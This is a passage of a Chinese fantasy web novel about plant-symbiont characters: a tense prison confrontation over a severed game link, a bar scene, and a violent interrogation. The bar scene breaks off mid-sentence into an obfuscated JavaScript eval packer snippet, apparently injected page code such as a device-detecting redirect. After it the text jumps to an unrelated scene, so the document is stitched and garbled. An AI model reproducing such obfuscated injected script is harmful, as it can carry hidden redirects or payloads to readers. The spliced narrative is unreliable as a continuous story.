修恩顺着台阶下了楼梯,快步往地下层走去。 陆池修关押在银旌堡的深层,光从建筑的古典风格来看,很难想象能有这样的房间:光滑的银灰色合金无缝衔接,连空气都经过了调试,没有气味,也没有声音,普通人待几天就会疯掉。 房间中央有一张固定在地面的金属床,天花板上嵌着微型监控。 合金闸门向两侧打开,修恩大步跨入。 滋滋滋…… 身体还没被扫描到,黑红色的闪电落下,硬生生撕裂了一道不可逾越的结界。是断界花释放空间断裂波动形成了隔离带。 陆池修颈后的共生纹亮了两秒。 断界花,彼岸花和断裂草合成,共生位置在颈后侧,红黑并蒂两支,能短暂制造空间断裂。发动机制尚且不明。 修恩在心中默念,想着回去记录下来。 不用真的看到它开花,能到这种程度,又是一株Lv.7。 “看来,我打发监控室的人,有点多余了。”修恩打量了一遍周围,“不过你也小心点,赛琳来了,给她点时间,断界花的结界可能会被破解。” 正如艾丽卡所说,陆池修进入了防御状态,似乎还是被动的。 陆池修浑身被植株建立的盾牌困住,藤蔓攀援缠绕,虚虚实实地把陆池修和外界隔离。 透过缝隙,修恩勉强看到了陆池修的侧脸。 “……发生什么事了?” 报复净化会的武器变成了这样,修恩表面淡定,心底里急疯了。否则,他也不会拖着断过167根骨头的“病躯”,冒着被发现的风险来到这里。 陆池修鸦羽般的眼睫动了动。 “联系不上了……” “嗯?” 有一瞬间修恩没听懂,“什么联系不上了?” 陆池修:“……唐奂。” “我还以为出了什么大事。”修恩松了口气,这时候的他还没意识到问题的严重性,“我听说赵所长被抓了,他可能在忙,没空打开旅行男友吧。” 旅行男友……游戏是叫这个名字来着。 “他卸载了。” 陆池修冰凉的声音传来。 这话听得修恩登时后脑勺一凉,“……” 糊涂啊。 研究所的阴谋揭开了,唐奂是觉得陆池修从此没用了吗。 旅行男友是昼夜花发动“灵媒之力”建立的连接,即便在灵媒期,成功率也仅有21%,一旦被切断,就再也…… 也难怪陆池修会心寒了。 “陆、陆池修你先冷静下来。” 修恩边说边后退,犹如鞭子的三根藤蔓袭来,他被那股力挟持,砰的一声撞在了坚硬的合金墙壁上。 两根束缚住了他的臂膀,最后一根缠在脖颈,一圈圈收紧。 “是不是你对他说了什么?”陆池修站了起来,脚镣碎裂,慢慢走近,“除了这个,我想不到别的原因。” “上次通话他不是挂断地很突然吗?是不是你做了什么?你不反省,不能出了事就向外归因吧!”修恩肺里的空气被挤压到极致了,用力拉扯颈口的藤蔓,它们纹丝不动:“你……你动手吧,没了我,你就别再想找到他了。” 钉在墙上的身体忽然一松,修恩跌落在地,大口喘气。 等修恩抬起头,以为会看到陆池修愤怒的脸。 可他猜错了。 他从没见过如此复杂的表情。 琥珀色的瞳孔用力眯着,不解,冷漠,愤怒,委屈……它们在极致的压抑下,强忍着把什么东西撕碎的冲动。 陆池修蹲下:“沈先生……” 修恩一个激灵,“干什么?” 为什么忽然叫他本姓? 凌乱的冷棕色发丝间长出了藤蔓的尖芽,陆池修歪过头看他,轻声问:“你觉得,他为什么会这么做?” 修恩蹙眉。 陆池修蹲着的姿势压迫力骇人,修恩整个人都被遮蔽,他稍微后仰:“你让我想想——” “他讨厌我?”陆池修的瞳孔骤然一紧。 “……不是!!”修恩抬手推住他,全力安抚:“你不要胡思乱想。” 陆池修:“净化会最近有动静?” “……” 修恩的大脑空白了一瞬,他原本想告诉陆池修,赫尔曼把阿列克西派去潼港了,但他还不知道阿列克西去的目的。 现在看来,要是再刺激陆池修,他的下场不一定比唐奂好。 “我看这样吧。”修恩盯着陆池修,“你给我点时间,我向你保证,三天之内我一定能给你答复。” 陆池修:“如果你不能呢?” “那我就豁出去了!”修恩大手一挥,仿佛拉起一面大旗,“我亲自帮你越狱,你自己去找他!到时候你想干点什么,要杀要剐,那是你们自己的事!” —— 商业街的阴影处,酒吧,第七夜。 酒吧里弥漫着微醺的酒精香味,灯光昏暗流转,暧昧的光洒在吧台光滑的木面上,映照着调情的男男女女,偶尔传来几声不可闻的低语。 铃铃…… 公主和男模们都印象深刻的那位客人又来了。 客人们跟着掉帧一秒,领头的公主拉下被撩起的短裙。 唐奂就站在门口,一脸平静。 这次唐奂穿着米白色的薄衬衫,用一件长款的灰色开衫包裹,还换上了更显安静的粗框眼镜。 现场的工作人员和客人们能看出来,这个格格不入的男人是想低调融入氛围。 问题在于唐奂的长相,底子太好。 穿着颜色朴素,不戴配饰,反而让五官更抢眼。 尤其是酒吧里昏暗又弥漫着颓废的灯光下,这一抹明亮,刺眼到很容易成为猎物。 每每感受到赤裸的注视,唐奂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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共生者的等级和能力并不是同比例递增,融合了1-2级植株的算低级,占到共生者总数的80%以上。3级略显尴尬,到了4级就是一个天堑,到了6级又是一个天堑,至于7级,放眼整个生洲也不超过十个。 眼前的银毛男人,肯定有Lv.5了。 杨霖一眼就能看出来,这男人的植株必定是个有超强破坏力的暴躁品种。它让男人的身体有枯木化的痕迹,男人任凭它疯长,两者是少见的过度融合。 过度融合,就意味着暴戾、杀戮、凶残、不计后果…… “喂。”阿列克西一只手张开,五根手指轻易就把他的整个头骨包住。接着,丝毫不掩嚣张的声音传来: “你听好了,我只问一遍。贺淮在哪儿。” “很久之前见过一次。”杨霖大气不敢喘,“这段时间没见过了。” 阿列克西又问:“赵所长呢?” 杨霖:“……我没见过。” “靠——!!” 一股猛力扇在后脑勺,杨霖整个人甩了出去,头撞在墙上血花四溅,喷出的血流满了整张脸。 那只手把快嵌进墙里的他掰了过来,银发的男人狞笑看他:“……虽然等级低了点,你身上的这株夜灯苔也够我的‘穿骨荨’吃一顿了。” 杨霖吓得大叫,抓住救命稻草似的:“我、我知道一个地方可能有线索,离这儿不远!走几步就能到!”